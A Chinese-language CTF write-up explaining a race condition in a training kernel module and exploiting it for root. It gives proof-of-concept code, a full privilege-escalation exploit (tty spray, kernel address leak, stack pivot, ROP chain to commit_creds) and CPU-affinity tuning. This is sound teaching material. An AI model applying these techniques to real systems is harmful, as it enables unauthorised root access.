当前位置: 首页 > news >正文

通过条件竞争实现内核提权

条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。

LK01-4

这里以一道例题作为例子介绍条件竞争在内核中的利用。

open模块

题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4

open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。

static int module_open(struct inode *inode, struct file *file)
{printk(KERN_INFO "module_open called\n");if (mutex) {printk(KERN_INFO "resource is busy");return -EBUSY;}mutex = 1;g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);if (!g_buf) {printk(KERN_INFO "kmalloc failed");return -ENOMEM;}return 0;
}

例如以下代码,连续执行两遍open模块时,第二次执行会返回-1

#include <stdio.h>
#include <fcntl.h>
int main()
{int fd1 = open("/dev/holstein",O_RDWR);printf("fd1:%d\n",fd1);int fd2 = open("/dev/holstein",O_RDWR);printf("fd2:%d\n",fd2);}

图片

image-20230921160911373

单线程下执行的流程如下。

图片

image-20230924124535907

但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。

图片

image-20230924125005531

POC

为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。

  • • 首先是POC使用了34作为新打开的文件描述符,这是因为012是标准流,因此新打开的文件应该是从3开始分配。但是避免不是从3开始分配,我们可以使用作者提供的exp,打开临时文件去判断下一个文件描述符是什么。

  • • 其次是在条件竞争利用失败的时候,我们需要关闭文件描述符,这是因为若不关闭,那么上述两个线程竞争的情况就不会发生了,因为已经通过open模块获取了文件描述符,那么mutext已经被设置为1,那么就不会存在mutext被设置为1之前的情况了。

  • • 然后在文件描述符为4的时候,说明已经通过条件竞争成功执行两次open模块,但是这里还需要去验证文件描述符是否有效,这是因为有可能出现线程1获取的文件描述符为3,而线程二获取的文件描述符为4,但是线程1先进入了if (fd != -1 && success == 0)的判断,那么就会把文件描述符3给关闭了,就导致即使正常执行了两次open模块,但是只有4能够使用。

  • • 最后就是验证34是否指向同一块内存了。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {while(1){while (!success){int fd = open("/dev/holstein",O_RDWR);if (fd == 4)success = 1;if (fd != -1 && success == 0)close(fd);}if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1){close(3);close(4);success = 0;} elsebreak;}}int main()
{pthread_t thread_id1, thread_id2;if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}pthread_join(thread_id1, NULL);pthread_join(thread_id2, NULL); char temp[0x20]= {};write(3, "abcdefg", 7);read(4, temp, 7);if (strcmp(temp, "abcdefg")){puts("fail\n");exit(-1);}printf("sucess\n");
}

run.sh

这里可以看到-smp的选项为2,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。

#!/bin/sh
qemu-system-x86_64 \-m 64M \-nographic \-kernel bzImage \-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \-no-reboot \-cpu qemu64,+smap,+smep \-smp 2 \-monitor /dev/null \-initrd initramfs.cpio.gz \-net nic,model=virtio \-net user \-s

exp

因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
//0xffffffff81c6bfe0: pop rcx; ret; 
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0unsigned long user_cs, user_sp, user_ss, user_rflags;void backdoor()
{printf("****getshell****");system("id");system("/bin/sh");
}void save_user_land()
{__asm__(".intel_syntax noprefix;""mov user_cs, cs;""mov user_sp, rsp;""mov user_ss, ss;""pushf;""pop user_rflags;"".att_syntax;");puts("[*] Saved userland registers");printf("[#] cs: 0x%lx \n", user_cs);printf("[#] ss: 0x%lx \n", user_ss);printf("[#] rsp: 0x%lx \n", user_sp);printf("[#] rflags: 0x%lx \n", user_rflags);printf("[#] backdoor: 0x%lx \n\n", backdoor);
}int success = 0;
void *thread_function(void *arg) {while(1){while (!success){int fd = open("/dev/holstein",O_RDWR);if (fd == 4)success = 1;if (fd != -1 && success == 0)close(fd);}if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1){close(3);close(4);success = 0;} elsebreak;}}
int main()
{pthread_t thread_id1, thread_id2;int spray[200];save_user_land();if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}pthread_join(thread_id1, NULL);pthread_join(thread_id2, NULL); char temp[0x20]= {};write(3, "abcdefg", 7);read(4, temp, 7);printf("temp:%s\n", temp);if (strcmp(temp, "abcdefg")){puts("failure\n");exit(-1);}if (!strcmp(temp,"abcdefg")){printf("sucess\n");close(4);for (int i = 0; i < 50; i++){spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1){printf("error!\n");exit(-1);}}char buf[0x400];read(3, buf, 0x400);unsigned long *p = (unsigned long *)&buf;for (unsigned int i = 0; i < 0x80; i++)printf("[%x]:addr:0x%lx\n",i,p[i]);unsigned long kernel_address = p[3];unsigned long heap_address = p[7];if ((kernel_address >> 32) != 0xffffffff){printf("leak error!\n");exit(-1); }elseprintf("leak  sucess\n");unsigned long kernel_base = kernel_address - 0xc3afe0;unsigned long g_buf = heap_address - 0x38;printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);//getchar(); *(unsigned long *)&buf[0x18] = g_buf;p[0xc] = push_rdx_pop_rsp + kernel_base;//for (unsigned long i = 0xd; i < 0x80; i++)// p[i] = g_buf + i;int index = 0x21;p[index++] = pop_rdi_ret + kernel_base;p[index++] = 0;p[index++] = prepare_kernel_cred + kernel_base;p[index++] = pop_rcx_5 + kernel_base;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = mov_rdi_rax + kernel_base;p[index++] = commit_creds + kernel_base;p[index++] = swapgs_restore + kernel_base + 22;p[index++] = 0;p[index++] = 0;p[index++] = (unsigned long)backdoor;p[index++] = user_cs;p[index++] = user_rflags;p[index++] = user_sp;p[index++] = user_ss;    write(3, buf, 0x400); ioctl(4, 0, g_buf + 0x100);   }return 0; 
}

CPU Affinity(CPU 亲和性)

这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。

首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置 CPU 亲和性。

#define _GNU_SOURCE
#include <sched.h>...cpu_set_t t1_cpu, t2_cpu;CPU_ZERO(&t1_cpu);CPU_ZERO(&t2_cpu);CPU_SET(0, &t1_cpu);CPU_SET(1, &t2_cpu);
...if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0){fprintf(stderr, "thread error\n");return 1;}    void *thread_function(void *arg) {cpu_set_t *cpu_set = (cpu_set_t  *)arg;int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);...
}    

相关文章:

通过条件竞争实现内核提权

条件竞争漏洞&#xff08;Race Condition Vulnerability&#xff09;是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源&#xff08;如内存、文件、网络连接等&#xff09;时&#xff0c;由于…...

vue实现换肤功能

1、使用scss定义几种需要进行换肤的颜色&#xff0c;例如&#xff1a; .font-color-theme{[color-theme"black"] & {color: #000}[color-theme"white"] & {color: #fff} }2、使用以下代码控制变化&#xff1b; let colorType localStorage.getIt…...

嵌入式软件工程师面试题——2025校招社招通用(八)

说明&#xff1a; 面试题来源于网络书籍&#xff0c;公司题目以及博主原创或修改&#xff08;题目大部分来源于各种公司&#xff09;&#xff1b;文中很多题目&#xff0c;或许大家直接编译器写完&#xff0c;1分钟就出结果了。但在这里博主希望每一个题目&#xff0c;大家都要…...

背包笔记

01背包 朴素版01背包 cin >> n >> m; f[0][0] 0; for(int i 1; i < n; i ) {for(int j 0; j < m; j ){f[i][j] f[i - 1][j];//第i个物品不选if(j - v[i] > 0){f[i][j] max(f[i][j], f[i - 1][j - v[i]] w[i]);//选第i个物品}} }cout << f[n…...

【Redis 速通】Redis 在 Linux 上的单机服务快速搭建与部署(附完整流程步骤及命令代码)

Redis 单机版安装与部署 Written By: Xinyao Tian 概述 本文档主要描述了 Redis 的生产环境安装及配置方法。 主要步骤 编译及安装 进入 root 用户并上传 Redis 源码安装包 查看 Redis 源码安装包的上传情况: [rootcentos-host redis]# pwd /opt/redis [root centos-ho…...

前端JavaScript

文章目录 一、JavaScript概述JS简介1.ECMAScript和JavaScript的关系2.ECMAScript的历史3.什么是javas&#xff1f;4.JavaScript的作用&#xff1f; 三者之间的作用JS基础1.注释语法2.引入js的多种方式3.结束符号 变量与常量变量1.JavaScript声明2.var与let的区别常量 基本数据类…...

C语言程序设计(第五版)谭浩强 第三章课后题答案

第三章 1、假如我国国民生产总值的年增长率为7%&#xff0c; 计算10年后我国国民生产总值与现在相比增长多少百分比。计算公式为 ,其中r为年增长率&#xff0c;n为年数&#xff0c;p为与现在相比的倍数。 #include<stdio.h> #include<math.h>int main(){float r,…...

uni-app 解决钉钉小程序日期组件uni-datetime-picker不兼容ios问题

最近在使用uni-app开发 钉钉小程序 &#xff0c;遇到一个ios的兼容性问题 uni-datetime-picker 组件在模拟器上可以使用&#xff0c;在真机上不生效问题 文章目录 1. 不兼容的写法&#xff0c;uni-datetime-picker 不兼容IOS2. 兼容的写法&#xff0c;使用 dd.datePicker 实现。…...

【C++入门 三】学习C++缺省参数 | 函数重载 | 引用

C入门 三 1.缺省参数1.1 缺省参数概念1.2 缺省参数分类 2. 函数重载2.1 函数重载概念2.2 C支持函数重载的原理--名字修饰(name Mangling) 3.引用3.1引用概念3.2引用特性3.3 常引用3.4 使用场景1. 做参数2. 做返回值 3.5 传值、传引用效率比较3.6引用和指针的区别 4.引用和指针的…...

视频增强修复软件Topaz Video AI mac中文版支持功能

Topaz Video AI mac是一款使用人工智能技术对视频进行增强和修复的软件。它可以自动降噪、去除锐化、减少压缩失真、提高清晰度等等。Topaz Video AI可以处理各种类型的视频&#xff0c;包括低分辨率视频、老旧影片、手机录制的视频等等。 使用Topaz Video AI非常简单&#xff…...

C# 使用Thread类建线程

C# 使用Thread类建线程 目录 C# 使用Thread类建线程引言Thread类启动线程优先级后台运行线程状态线程名称线程ID最后 引言 线程(thread)是操作系统能够进行运算调度的最小单位。它被包含在进程之中,是进程中的实际运作单位。线程是我们程序常用的并行运行控制手段&#xff0c;…...

asyncio协程框架

asyncio 基本用法 asyncio 包含以下几个主要的组件&#xff1a;协程 asyncio 支持使用 async/await 语法定义协程&#xff08;coroutine&#xff09;。协程是可以暂停和恢复执行的函数&#xff0c;可以实现非阻塞式的异步编程。 import asyncioasync def coroutine():print(H…...

TSINGSEE智慧安防:AI人员入侵检测算法的工作原理及应用场景概述

人员入侵检测算法基于视频分析技术&#xff0c;自动对视频画面进行分析识别&#xff0c;可以对危险区的人员闯入、靠近等行为进行实时进行检测并预警&#xff0c;无需人工干预&#xff0c;协助管理者对场所的安全问题进行监管&#xff0c;可以广泛运用在学校、园区、工地、车站…...

Python:PDF转长图像和分页图像

简介&#xff1a;随着电子化文档的普及&#xff0c;PDF文件的使用频率越来越高。有时我们需要将PDF中的内容转化为图片格式进行分享或编辑&#xff0c;那么如何才能轻松地完成此任务呢&#xff1f;本文将为你展示一个Python工具&#xff1a;如何将PDF文件转化为图片&#xff0c…...

第48天:内置对象方法、 前端基础之BOM和DOM

内置对象方法 RegExp对象 // 定义正则表达式两种方式 var reg1 new RegExp("^[a-zA-Z][a-zA-Z0-9]{5,11}"); var reg2 /^[a-zA-Z][a-zA-Z0-9]{5,9}$/;// 正则校验数据 reg1.test(jason666) reg2.test(jason666)/*第一个注意事项&#xff0c;正则表达式中不能有空格…...

CMake系列EP02: 构建可执行程序和库

文章目录 cmake --buildmessage命令切换生成器使用ninja构建项目切换生成器的工作原理 构建和链接静态库和动态库add_library命令add_executable命令构建OBJECT类型的库条件编译opion命令option更多信息 指定编译器构建类型切换构建类型&#xff1a; 设置编译器选项cmake调试设…...

比亚迪今年的薪资。。

大家或许已经对比亚迪在西安的宣讲会有所耳闻&#xff0c;那场面真的是座无虚席。如果你稍微迟到了一些&#xff0c;那么你可能只能在门外或是走廊听了。 事实上&#xff0c;许多人早早地抵达了&#xff0c;只要稍微晚到&#xff0c;就可能错过了室内的位置。 更令人震惊的是&…...

【OpenCV实现图像找到轮廓的不同特征,就像面积,周长,质心,边界框等等。】

文章目录 概要图像矩凸包边界矩形 概要 OpenCV是一个流行的计算机视觉库&#xff0c;它提供了许多图像处理和分析功能&#xff0c;其中包括查找图像中物体的轮廓。通过查找轮廓&#xff0c;可以提取许多有用的特征&#xff0c;如面积、周长、质心、边界框等。 以下是几种使用…...

数仓建模—数仓建设概论

数仓建设概论 文章目录 数仓建设概论什么是数据仓库数据仓库对企业的意义1.全面掌握企业数据2.支持企业的决策制定3. 可靠性高怎么做数据仓库建1. 需求分析2. 设计数据仓库架构3. 数据采集4. 数据清洗5. 数据结构设计6. 数据分析7. 数据可视化8. 数据维护总结前面我们介绍了关于…...

Docker dnmp 多版本php安装 php8.2

Laravel9 开发需要用到php8.1以上的版本&#xff0c;而dnmp只支持到php8.0。安装php8.2的步骤如下&#xff1a; 1. 从/services/php80目录复制一份出来&#xff0c;重命名为php82&#xff0c;extensions目录只保留 install.sh 和 install-php-extensions 这两个文件 2. 修改.en…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】

微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来&#xff0c;Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...

Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)

文章目录 1.什么是Redis&#xff1f;2.为什么要使用redis作为mysql的缓存&#xff1f;3.什么是缓存雪崩、缓存穿透、缓存击穿&#xff1f;3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...

FastAPI 教程:从入门到实践

FastAPI 是一个现代、快速&#xff08;高性能&#xff09;的 Web 框架&#xff0c;用于构建 API&#xff0c;支持 Python 3.6。它基于标准 Python 类型提示&#xff0c;易于学习且功能强大。以下是一个完整的 FastAPI 入门教程&#xff0c;涵盖从环境搭建到创建并运行一个简单的…...

页面渲染流程与性能优化

页面渲染流程与性能优化详解&#xff08;完整版&#xff09; 一、现代浏览器渲染流程&#xff08;详细说明&#xff09; 1. 构建DOM树 浏览器接收到HTML文档后&#xff0c;会逐步解析并构建DOM&#xff08;Document Object Model&#xff09;树。具体过程如下&#xff1a; (…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案

随着新能源汽车的快速普及&#xff0c;充电桩作为核心配套设施&#xff0c;其安全性与可靠性备受关注。然而&#xff0c;在高温、高负荷运行环境下&#xff0c;充电桩的散热问题与消防安全隐患日益凸显&#xff0c;成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

Map相关知识

数据结构 二叉树 二叉树&#xff0c;顾名思义&#xff0c;每个节点最多有两个“叉”&#xff0c;也就是两个子节点&#xff0c;分别是左子 节点和右子节点。不过&#xff0c;二叉树并不要求每个节点都有两个子节点&#xff0c;有的节点只 有左子节点&#xff0c;有的节点只有…...

Swagger和OpenApi的前世今生

Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章&#xff0c;二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑&#xff1a; &#x1f504; 一、起源与初创期&#xff1a;Swagger的诞生&#xff08;2010-2014&#xff09; 核心…...

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中&#xff0c;新增了一个本地验证码接口 /code&#xff0c;使用函数式路由&#xff08;RouterFunction&#xff09;和 Hutool 的 Circle…...

ThreadLocal 源码

ThreadLocal 源码 此类提供线程局部变量。这些变量不同于它们的普通对应物&#xff0c;因为每个访问一个线程局部变量的线程&#xff08;通过其 get 或 set 方法&#xff09;都有自己独立初始化的变量副本。ThreadLocal 实例通常是类中的私有静态字段&#xff0c;这些类希望将…...

轻量级Docker管理工具Docker Switchboard

简介 什么是 Docker Switchboard &#xff1f; Docker Switchboard 是一个轻量级的 Web 应用程序&#xff0c;用于管理 Docker 容器。它提供了一个干净、用户友好的界面来启动、停止和监控主机上运行的容器&#xff0c;使其成为本地开发、家庭实验室或小型服务器设置的理想选择…...